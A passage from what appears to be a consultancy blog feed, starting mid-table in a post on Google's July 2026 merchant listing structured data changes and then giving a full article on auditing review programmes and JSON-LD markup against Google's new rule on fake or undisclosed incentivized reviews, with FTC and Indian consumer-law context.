4	Sale duration placement	New; a past date can remove the listing	validFrom plus validThrough or priceValidUntil, node-correct
5	Price-kind collisions	Whole price specification is ignored	Never combine priceType and validForMemberTier
6	Category in markup	New signal; feed parity	CategoryCode from the same source as the feed
7	Availability and condition	Single-value rule	Collapse to one value per URL
8	Shipping and returns level	More properties, less duplication	Organization-level policy referenced by @id
9	Images	Required property, weak defaults	Multiple resolutions, 16x9, 4x3 and 1x1

Work top down. Rows 1 to 3 decide whether the page can produce a merchant listing at all; the rest decide how good it is.

India-specific considerations

Three things change the calculation for an Indian seller.

The currency rule bites harder here. Brands selling domestically in rupees and internationally in dollars from one storefront are common, and the single-URL-per-currency requirement forces a routing decision that touches canonical tags, hreflang and the sitemap. Do it during a platform change, not as a patch.

Feed and page divergence is structural, not accidental. Most Indian D2C brands run a catalogue in one system, a Merchant Center feed generated by a plugin, and a storefront template that emits its own JSON-LD. Three systems, three chances to disagree about price, availability and now category. The new category property is only worth adding if it reads from the same source as the feed; otherwise it is a third opinion.

Sale calendars are dense. Festive season sale windows are short, overlapping and heavily discounted, which is exactly the case the new sale duration section is designed for and exactly the case where a stale priceValidUntil costs a listing during the highest-traffic fortnight of the year.

Scale explains why this is worth engineering properly rather than patching. The India Brand Equity Foundation, which aggregates figures from press and media reports rather than publishing primary data, puts the industry at Rs 10,82,875 crore (US$ 125 billion) in 2024 heading to Rs 29,88,735 crore (US$ 345 billion) by 2030, with the online shopper base moving from 280 to 300 million in 2025 to a projected 420 to 440 million by 2030. Treat those as directional rather than precise, because IBEF's own page carries competing figures in different sections.

Teams still moving from the Content API for Shopping will find the feed side of this covered in our note on the Content API to Merchant API migration, and the same markup discipline that earns rich results is what earns citations in AI answers, which we set out in structured data and JSON-LD for AI search citations.

What we do in a product schema remediation

eCorpIT was founded in 2021 and works from Gurugram. Our commerce engagements here follow a consistent shape.

We start with a crawl of the live catalogue and extract the JSON-LD each template actually emits, rendered and unrendered, because those two differ on most headless storefronts. We compare that against the Merchant Center feed row by row for price, availability and category, and we produce a defect list ranked by the priority order in the table above rather than by defect count.

Remediation is then a template change plus a data-source change, not a per-page fix. In most catalogues, four to six templates produce every product page, and the same four defects repeat across tens of thousands of URLs. We fix the template, validate with the Rich Results Test, and watch the merchant listing report in Search Console through a full re-crawl before calling it done.

Engagements are typically scoped as a fixed-price audit followed by a time-boxed remediation sprint, sized to the number of templates rather than the number of products. Who it is for: Indian D2C brands, marketplaces and B2B commerce teams whose product pages are losing rich results and who need the feed and the page to stop disagreeing.

We work as senior-led, multi-disciplinary teams, we are assessed at CMMI Level 5, MSME certified and ISO 27001:2022 certified, and we are partners with AWS, Microsoft, Google and Shopify. Where a remediation touches customer data, we design implementations aligned with Digital Personal Data Protection Act requirements.

FAQ

What did Google change in merchant listing structured data on 7 July 2026?

Google added a category property to Product, detailing how it works with both Text and CategoryCode types to align with the product_type and google_product_category feed attributes. It also added a new "Sale duration" section explaining how validFrom, validThrough and priceValidUntil define the effective range for sale prices.

Where do the sale duration properties go?

On the Offer node, add validFrom and either validThrough or priceValidUntil when the Offer price holds the active sale price. On a PriceSpecification node, add validFrom and validThrough only. Google states that the priceValidUntil property is not applicable to the PriceSpecification type.

Can a past sale date remove my listing?

Google's documentation says your listing may not display if the priceValidUntil property indicates a past date. That makes stale sale dates an availability problem rather than a cosmetic one, which matters most during dense festive sale calendars where windows are short and overlapping.

Why is my product page not eligible for merchant listings?

The most common hard blocks are using AggregateOffer where merchant listings require an Offer, a price that is not greater than zero, a page that links out rather than selling directly, a category or collection page rather than a single product, or one URL serving multiple currencies.

Does the new category property replace my Merchant Center feed?

No. It gives you a page-level way to express the same information the product_type and google_product_category feed attributes carry. It is most useful when it reads from the same source of truth as your feed, so the page and the feed cannot drift apart.

Should product markup be rendered server-side?

Google recommends putting Product structured data in the initial HTML for best results, and warns that dynamically generated markup can make Shopping crawls less frequent and less reliable. Since price and availability change fastest, client-rendered markup is riskiest for exactly the fields that matter most.

How many availability values can I use?

One. Google supports ten ItemAvailability values including InStock, OutOfStock, BackOrder, PreOrder and SoldOut, and short names without the URL prefix are accepted, but the documentation says not to specify more than one value. The same single-value rule applies to itemCondition.

Should shipping and returns policies sit on the offer or the organization?

Prefer the organization level. Google says to use offer-level shipping and return policies only to override a global policy or when no standard policy exists, and notes that offer-level policies support only a subset of the properties available at the organization level.

How eCorpIT can help

eCorpIT is a Gurugram-based technology consultancy with senior engineering teams working across commerce platforms, product data and search visibility. We audit what your templates actually emit against what your Merchant Center feed sends, rank the defects by the eligibility gates that decide whether a listing can appear at all, and fix them at the template and data-source level rather than page by page. If your product pages have quietly lost rich results and nobody can say which system is wrong, talk to us at /contact-us/.

References

Merchant listing (Product, Offer) structured data - Google Search Central
Latest documentation updates - Google Search Central changelog, 7 July 2026
Google's New Merchant Listing Structured Data Improves SEO - Roger Montti, Search Engine Journal, 9 July 2026
Google merchant listings support sale duration and product category - Search Engine Land, July 2026
Google adds category codes to merchant listings on July 7 - PPC Land, July 2026
Google Supports Product Category and Sale Duration To Merchant Listing Structured Data - Search Engine Roundtable, July 2026
Google Product Taxonomy with IDs - Google
product_type attribute specification - Google Merchant Center Help
google_product_category attribute specification - Google Merchant Center Help
sale_price_effective_date attribute specification - Google Merchant Center Help
Product snippet (Product, Review, Offer) structured data - Google Search Central
Product variant structured data - Google Search Central
E-commerce Industry in India - India Brand Equity Foundation, last updated June 2026

Last updated: 5 August 2026.

Google's 24 July 2026 review rule: a 6-step audit before your stars disappear

Manu Shukla — Wed, 05 Aug 2026 01:03:47 +0000

Google's 24 July 2026 review rule: a 6-step audit before your stars disappear

Summary. On 24 July 2026 Google added one sentence to its review snippet structured data guidelines: "Don't include fake or undisclosed incentivized reviews on your page or in your structured data markup." The page itself now carries a last-updated stamp of 2026-07-24 UTC. That sentence sits inside the Guidelines section, which opens with a warning that a site violating one or more of these guidelines may receive a manual action. Google gave two examples of what it means: reviews not based on a genuine experience of a product or service, and reviews written in exchange for a benefit such as money, discounts, vouchers or free products where the incentivization is not clearly and prominently disclosed. This is not new law. The US Federal Trade Commission's Rule on the Use of Consumer Reviews and Testimonials has been in effect since 21 October 2024, and its own example of a non-compliant offer is a business saying "Tell us how much you loved your visit to John's Steakhouse and get a $5 coupon". In India the Bureau of Indian Standards published IS 19000:2022 for online consumer reviews and it remains voluntary, while the Central Consumer Protection Authority can fine a manufacturer or endorser up to Rs 10 lakh for a misleading advertisement, rising to Rs 50 lakh for a repeat offence. What changed on 24 July is that a review programme most brands considered a marketing question is now an eligibility question for star ratings in Google Search. This is the audit.

What Google actually wrote, and where it sits

The wording matters, so here it is exactly as published in the technical guidelines for review snippets:

"Don't include fake or undisclosed incentivized reviews on your page or in your structured data markup. Examples include:

Reviews that aren't based on a genuine experience of a product or service
Reviews written in exchange for a benefit (such as money, discounts, vouchers, or free products) that don't clearly and prominently disclose the incentivization"

Two words in that text do the work. The first is "undisclosed", which means an incentivized review is not automatically disqualifying; an incentivized review without a clear disclosure is. The second is "or", in "on your page or in your structured data markup", which closes the obvious workaround of leaving an undisclosed incentivized review visible on the page while quietly excluding it from the JSON-LD, or the reverse.

Barry Schwartz, Contributing Editor at Search Engine Land, read the timing the way most practitioners did: "Google added a new guideline to the documentation for a reason; Google probably sees people using these techniques to get fake reviews."

Placement is the part teams miss. This is not in the spam policies and it is not in a blog post. It is in the Guidelines block of the review snippet reference, directly under a warning that reads: "If your site violates one or more of these guidelines, then Google may take manual action against it. Once you have remedied the problem, you can submit your site for reconsideration." Guidelines in that block govern eligibility for the rich result. The practical exposure is losing stars in search results, and a manual action that has to be cleared through reconsideration.

Google published no separate announcement alongside the change, which is why plenty of teams running review campaigns still have not seen it.

Why this lands harder in 2026 than it would have in 2023

Two things happened before this guideline that change its weight.

Google removed the FAQ rich result. A deprecation notice went on the documentation on 8 May 2026, the feature stopped appearing in search from 7 May 2026, and the documentation itself was removed on 15 June 2026. Star ratings are now one of the few remaining visual differentiators an ordinary commercial page can earn in a results layout increasingly dominated by AI Overviews.

Review data is also flowing into AI answers. Search Engine Land reported on 24 July 2026 that ChatGPT gained access to Yelp reviews, ratings and photos. Rating data is no longer only a snippet decoration; it is an input to systems that summarise a purchase decision on your behalf.

So the asset getting more valuable is the same asset now governed by a stricter eligibility test. That is the whole reason to spend a day on this audit rather than a quarter.

Step 1: Inventory every system that feeds a rating into your markup

Most brands cannot answer this in one sitting, which is the first finding.

Write down every source that contributes a rating or a review to any page carrying Review or AggregateRating markup. In a typical D2C stack that list runs longer than expected: the on-site review widget, post-purchase email review requests, an SMS review flow, a loyalty programme that awards points for reviews, a sampling or seeding programme, an affiliate or creator programme, imported reviews from a marketplace listing, and reviews syndicated from a parent brand or a group site.

For each source, record four things: does it offer anything in return for the review, does the offer depend in any way on the review being positive, is any disclosure attached to the resulting review, and does the review flow into the structured data.

Two of Google's older guidelines usually claim their first victims here. "Don't aggregate reviews or ratings from other websites" rules out pulling in marketplace ratings, and "Provide review information about a specific item, not about a category or a list of items" rules out a category page carrying a rating rolled up from its children.

Review source	Typical Google guideline risk	What to do first
Post-purchase email with no incentive	Low	Confirm reviewer names are valid and under 100 characters
Points, coupon or discount for any review	Undisclosed incentivization if no visible label	Add an unavoidable disclosure to each affected review
Free product seeding or sampling	Undisclosed incentivization; often no disclosure at all	Disclose, and check the offer wording for implied sentiment
Ratings imported from a marketplace listing	"Don't aggregate reviews or ratings from other websites"	Remove from markup; keep on page only if clearly attributed
Embedded third-party widget on your own Organization page	Self-serving reviews; ineligible for the star feature	Remove the Organization-level markup
Category or collection page rating	Rating must describe a specific item	Move markup to the individual product pages

Step 2: Classify every review, then count what you lose

Sort each review into one of five buckets: organic, incentivized with an adequate disclosure, incentivized without an adequate disclosure, insider, or fake.

The fifth bucket is the one to be honest about. Google's first example is "Reviews that aren't based on a genuine experience of a product or service". If a review came from a purchased pack, a review-exchange group, or an agency that could not name the reviewer, it belongs there and it comes out of both the page and the markup.

Then do the arithmetic before you do the remediation. Take your current ratingValue and ratingCount, remove the fake bucket entirely, and recompute. Do the same again excluding the undisclosed incentivized bucket, so you can see the gap between the rating you display today and the rating your genuinely organic reviews support. If those two numbers are far apart, the star rating was never the asset you thought it was, and the drop you are worried about has already been priced into your conversion data as returns and complaints.

One judgement, stated plainly: a 4.9 built on a seeding programme is a liability with a countdown on it, and the cheapest day to fix it is the day before Google notices.

Step 3: Make the disclosure unavoidable, not merely present

Google's wording is "clearly and prominently disclose". The FTC has published a workable operational definition of a very similar standard, and it is the most useful thing in this whole area.

Under the FTC rule, a disclosure has to be "clear and conspicuous", and its definition of that term requires the disclosure to be "unavoidable". The FTC explains that a disclosure is avoidable when "a consumer must take any action, such as clicking on a hyperlink or hovering over an icon, to see" it. Asked directly whether a disclosure in the first line of a consumer review is unavoidable, the FTC's answer is that the Commission would consider such a disclosure to be unavoidable.

That gives you a concrete implementation target. The disclosure belongs in the visible review body, at the start, on the page, in the same text that goes into your markup. Not in a footer. Not in a tooltip. Not in the terms of the loyalty programme.

Here is what that looks like in the markup, using only properties Google lists as required or recommended for Review:

{
  "@context": "https://schema.org/",
  "@type": "Product",
  "name": "Example product name",
  "review": [{
    "@type": "Review",
    "reviewRating": {
      "@type": "Rating",
      "ratingValue": 4,
      "bestRating": 5,
      "worstRating": 1
    },
    "author": {
      "@type": "Person",
      "name": "Priya S."
    },
    "datePublished": "2026-07-28",
    "reviewBody": "Received a free sample in exchange for this review. Fit is true to size and the fabric held up after four washes."
  }]
}

The disclosure is the first sentence of reviewBody, so it survives both the on-page render and the markup, and a reader meets it before the opinion. Note also that bestRating and worstRating are only recommended: Google assumes 5 and 1 respectively when they are omitted, so include them only when your scale actually differs.

Watch the author field. Google requires author for a Review, states that the reviewer's name must be a valid name, gives "50% off until Saturday" as an example of an invalid one, and specifies that the field must be shorter than 100 characters or the page is not eligible for an author-based review snippet.

Step 4: Recompute the aggregate honestly

A disclosure fixes the individual review. It does not fix the number in the star widget.

The FTC makes this point about insider reviews and the logic transfers directly to incentivized ones: insider reviews are permitted when the relationship is clearly and conspicuously disclosed, but "if these reviews materially increase the average star rating of a product, the business could be violating the FTC Act even with such disclosures, because consumers might see only the star rating and not look at the individual reviews."

That is the trap. A page can be fully compliant review by review and still misrepresent itself through the single number most people actually read.

Practical position: if disclosed incentivized reviews move your average by a material margin, either exclude them from the aggregate you mark up, or show both numbers on the page. Google requires ratingValue plus at least one of ratingCount or reviewCount on AggregateRating, and it defines reviewCount as the number of people who provided a review with or without an accompanying rating, so the vocabulary to be precise already exists.

Failure mode	What the reader sees	Google exposure	FTC exposure
Fake reviews in markup	Inflated stars	Guideline breach; manual action risk	Rule violation; civil penalties for knowing violations
Incentivized, no disclosure	Inflated stars	Guideline breach; manual action risk	FTC Act exposure for failure to disclose
Incentivized for positive sentiment only	Inflated stars	Guideline breach	Section 465.4 violation even with a disclosure
Disclosed incentives, aggregate not adjusted	Inflated average	Compliant on the letter of the guideline	Possible FTC Act exposure via the star rating
Marketplace ratings imported into markup	Borrowed credibility	"Don't aggregate reviews or ratings from other websites"	Depends on presentation
Organization reviews you control	Stars on your own brand page	Ineligible for the star review feature	Depends on presentation

Step 5: Clear the self-serving and aggregation traps while you are in there

Two older guidelines cause more lost stars than the new one will, and this audit is the moment to close them.

The self-serving rule is specific and it is stricter than most teams assume. Google's guideline states that if the entity being reviewed controls the reviews about itself, its pages using LocalBusiness or any other type of Organization structured data are ineligible for the star review feature. Google spells out that this covers an embedded third-party widget, naming a Google Business reviews or Facebook reviews widget as examples. A "what our customers say" section on your homepage, marked up at the Organization level, is the single most common instance of this.

Read the scope carefully before you strip anything. That ineligibility clause is written against LocalBusiness and Organization types. Reviews of your own products, marked up on the product page as Product with nested Review or AggregateRating, are a different case and are not covered by that clause. The rule about not aggregating ratings from other websites and the new rule about fake or undisclosed incentivized reviews do apply everywhere.

For local business ratings Google adds two further requirements: ratings must be sourced directly from users, and you should not rely on human editors to create, curate or compile ratings information for local businesses.

Also check the visibility requirement, which is easy to fail after a redesign. Google requires that marked-up review content be readily available to users from the marked-up page, and that it be immediately obvious that the page has review content. If your reviews load behind a tab, an accordion or a lazy-loaded widget that never fires for a crawler, the markup is describing content the page does not clearly show.

Step 6: Validate, then watch the right report

Run the Rich Results Test and the Search Console rich result reports for review snippets. Both catch syntax problems and missing required properties. Neither can tell you whether a review was written in exchange for a free sample, which is why steps 1 to 4 have to be done by a human with access to the marketing calendar.

Set two monitoring habits. First, watch the review snippet report in Search Console for a drop in valid items, which is what a markup regression looks like. Second, watch the Manual Actions report, which is where a guideline breach surfaces. If a manual action appears, the remedy path is the one named in the documentation: fix the problem, then submit the site for reconsideration.

Give it time before you conclude anything. Google's own note on the page is that it may take several days after publishing for Google to find and crawl a page, and re-crawling and re-indexing take longer still.

The same structured-data discipline pays off beyond stars, which is why we treat structured data and JSON-LD for AI search citations as part of the same workstream rather than a separate one, and why the wider SEO guide for 2026 puts markup accuracy alongside content quality rather than after it.

What the FTC rule adds that Google's guideline does not

If you sell into the United States, Google's guideline is the smaller of your two problems.

The FTC's Rule on the Use of Consumer Reviews and Testimonials took effect on 21 October 2024. On incentives, Section 465.4 draws a line that Google's one-sentence guideline does not: "The rule does not prohibit giving incentives for reviews, as long as there isn't an express or implied requirement that the reviews have to express a particular sentiment. But remember that failing to disclose incentives could be a violation of the FTC Act."

The sentiment condition is where marketing copy quietly breaks the rule. The FTC's worked example is that you would be implying reviews have to be positive if you wrote "Tell us how much you loved your visit to John's Steakhouse and get a $5 coupon" or "Tell your friends about all the fun you had at Jane's Arcade for a chance to win prizes." Neither sentence contains an explicit condition. Both imply one.

And a disclosure does not rescue a sentiment-conditioned incentive. Asked whether a business can pay incentives for 5-star reviews on third-party platforms so long as reviewers add a disclosure, the FTC's answer is: "No. That conduct would violate Section 465.4. Note also that this section applies whether the reviews appear on your website or third-party review platforms."

Three further points are worth knowing before anyone on your team improvises.

The rule authorises courts to impose civil penalties for knowing violations. The FTC's guidance page states the standard in those terms and does not publish a per-violation figure, so treat any specific number you see quoted as something to verify against the current civil penalty adjustment rather than as settled fact.

There is no private right of action under the rule, so the enforcement risk is regulatory rather than a class action under this rule specifically.

Sorting is mostly safe, suppression is not. The FTC says organizing reviews is not suppressing reviews under the rule, and that ordering reviews by rating with five-star reviews on top is not covered by the rule, but adds that organizing reviews in a way that makes it difficult for consumers to find negative reviews could be an unfair or deceptive act under Section 5 of the FTC Act.

Finally, note that the FTC's guidance is staff guidance and says so directly: it "isn't definitive or comprehensive, and it doesn't provide a safe harbor from potential liability."

India-specific considerations

Indian D2C brands and marketplaces sit under a different mix: a voluntary technical standard plus a live enforcement power aimed at advertising.

The Bureau of Indian Standards published IS 19000:2022, "Online Consumer Reviews: Principles and Requirements for their Collection, Moderation and Publication", covering how review administrators collect, moderate and publish online consumer reviews. It applies to anyone publishing consumer reviews online, including sellers collecting reviews from their own customers, a third party contracted by the seller, and independent third parties. Compliance is voluntary.

The enforcement teeth are elsewhere. Under the Consumer Protection Act 2019, the Central Consumer Protection Authority can impose a penalty of up to Rs 10 lakh on a manufacturer or endorser for a false or misleading advertisement, with imprisonment of up to two years; for a subsequent offence the fine may extend to Rs 50 lakh and imprisonment to five years. The CCPA can also bar an endorser from endorsing that product or service for up to one year, extending to three years for repeat offences.

Three practical consequences for an Indian brand.

A seeding or sampling programme run through creators is advertising as well as review generation, and the endorser-side penalty means your creators carry exposure alongside you. Disclosure protects the creator as well as the brand.

Marketplace ratings and own-site ratings need to stay separate in your markup. Google's prohibition on aggregating ratings from other websites means your product page cannot borrow the marketplace's star average, however tempting the volume difference.

If your review programme touches personal data across borders, the review vendor is a processor in your data map like any other. Teams working through that mapping will find the relevant obligations in our DPDP Act engineering playbook for Indian startups, and brands selling through open network channels should read it alongside the ONDC playbook for D2C brands and sellers.

The audit in one page

Check	Pass condition	Where it is defined
Fake reviews removed	No review in page or markup lacking a genuine experience	Google review snippet guidelines, 24 July 2026
Incentives disclosed	Disclosure visible in the review body, not behind a click	Google guideline; FTC "unavoidable" standard
No sentiment condition	Offer wording never implies the review must be positive	FTC Section 465.4
Aggregate not inflated	Disclosed incentivized reviews do not materially move the average	FTC Act risk on star ratings
No imported ratings	No marketplace or third-party ratings inside your markup	Google: don't aggregate ratings from other websites
No self-serving Organization stars	No Review or AggregateRating on LocalBusiness or Organization you control	Google self-serving reviews guideline
Reviews visible on page	Review text and rating immediately obvious to a user	Google technical guidelines
Required properties present	author, itemReviewed or nesting, reviewRating, ratingValue	Google review snippet reference

If a row fails, fix the page and the markup together. Fixing only one is how sites end up with markup that no longer matches the page, which is a separate guideline breach.

FAQ

What exactly did Google change on 24 July 2026?

Google added one guideline to its review snippet structured data documentation: do not include fake or undisclosed incentivized reviews on your page or in your structured data markup. It gave two examples, covering reviews not based on genuine experience and reviews written in exchange for a benefit without clear and prominent disclosure of the incentivization.

Are incentivized reviews now banned outright?

No. The guideline targets fake reviews and undisclosed incentivized reviews. An incentivized review with a clear and prominent disclosure is not prohibited by this guideline. Separately, the US FTC rule prohibits conditioning an incentive on the review expressing a particular sentiment, and a disclosure does not cure that specific problem.

What happens if my site breaks this guideline?

The guidelines section of Google's review snippet documentation warns that Google may take manual action against a site violating one or more of these guidelines. The practical outcome is losing eligibility for review rich results. After remedying the problem, you can submit the site for reconsideration through Search Console.

Where should the disclosure appear?

In the visible review text and in the markup, at the start of the review body. The FTC treats a disclosure as avoidable when a consumer must click a hyperlink or hover over an icon to see it, and considers a disclosure in the first line of a consumer review to be unavoidable. Footers and programme terms do not qualify.

Can I still show star ratings on my own homepage?

Usually not at the Organization level. Google says that if the reviewed entity controls the reviews about itself, its pages using LocalBusiness or any other Organization structured data are ineligible for the star review feature, including reviews delivered through an embedded third-party widget. Product-level reviews on product pages are a separate case.

Can I import my marketplace ratings into my product pages?

No. Google's long-standing technical guideline says not to aggregate reviews or ratings from other websites. Your product page markup should describe reviews collected on that page for that specific item. You may still reference a marketplace rating as visible content, provided it is clearly attributed and not marked up as your own.

How do I decide whether to exclude incentivized reviews from my average?

Recompute your rating value and count with and without the incentivized set. If the difference is material, either exclude them from the aggregate you mark up or publish both numbers. The FTC's reasoning is that consumers may see only the star rating and never read the individual reviews or their disclosures.

What applies to Indian brands specifically?

The Bureau of Indian Standards published IS 19000:2022 on collecting, moderating and publishing online consumer reviews, and compliance is voluntary. Enforcement risk comes from the Consumer Protection Act 2019, under which the Central Consumer Protection Authority can penalise a manufacturer or endorser up to Rs 10 lakh, rising to Rs 50 lakh for repeat offences.

How eCorpIT can help

eCorpIT is a Gurugram-based technology consultancy, ISO 27001:2022 certified and assessed at CMMI Level 5, with senior engineering teams working across commerce platforms, structured data and search visibility. We audit review pipelines end to end, from the incentive wording in a post-purchase email through to the JSON-LD a crawler actually receives, and we design implementations aligned with Consumer Protection Act and Digital Personal Data Protection Act requirements. If your stars matter to your conversion rate and you are not certain what is feeding them, talk to us at /contact-us/.

References

Review snippet (Review, AggregateRating) structured data - Google Search Central, last updated 24 July 2026
Latest documentation updates - Google Search Central changelog, July 2026
Google says don't include fake or undisclosed incentivized reviews in review snippet structured data - Barry Schwartz, Search Engine Land, 24 July 2026
The Consumer Reviews and Testimonials Rule: Questions and Answers - US Federal Trade Commission
Trade Regulation Rule on the Use of Consumer Reviews and Testimonials - Federal Register, 22 August 2024
Federal Trade Commission Announces Final Rule Banning Fake Reviews and Testimonials - US Federal Trade Commission, August 2024
FTC Endorsement Guides, 16 CFR Part 255 - Electronic Code of Federal Regulations
Making review rich results more helpful - Google Search Central Blog, September 2019
BIS issues standards for organizations publishing consumer reviews - Press Information Bureau, Government of India
Summary: India's new guidelines for reviews on online platforms - MediaNama, December 2022
IS 19000:2022 Online Consumer Reviews: Principles and Requirements for their Collection, Moderation and Publication - Bureau of Indian Standards
The Consumer Protection Bill, 2019 - PRS Legislative Research
ChatGPT gains access to Yelp reviews, ratings, and photos - Search Engine Land, 24 July 2026

Last updated: 5 August 2026.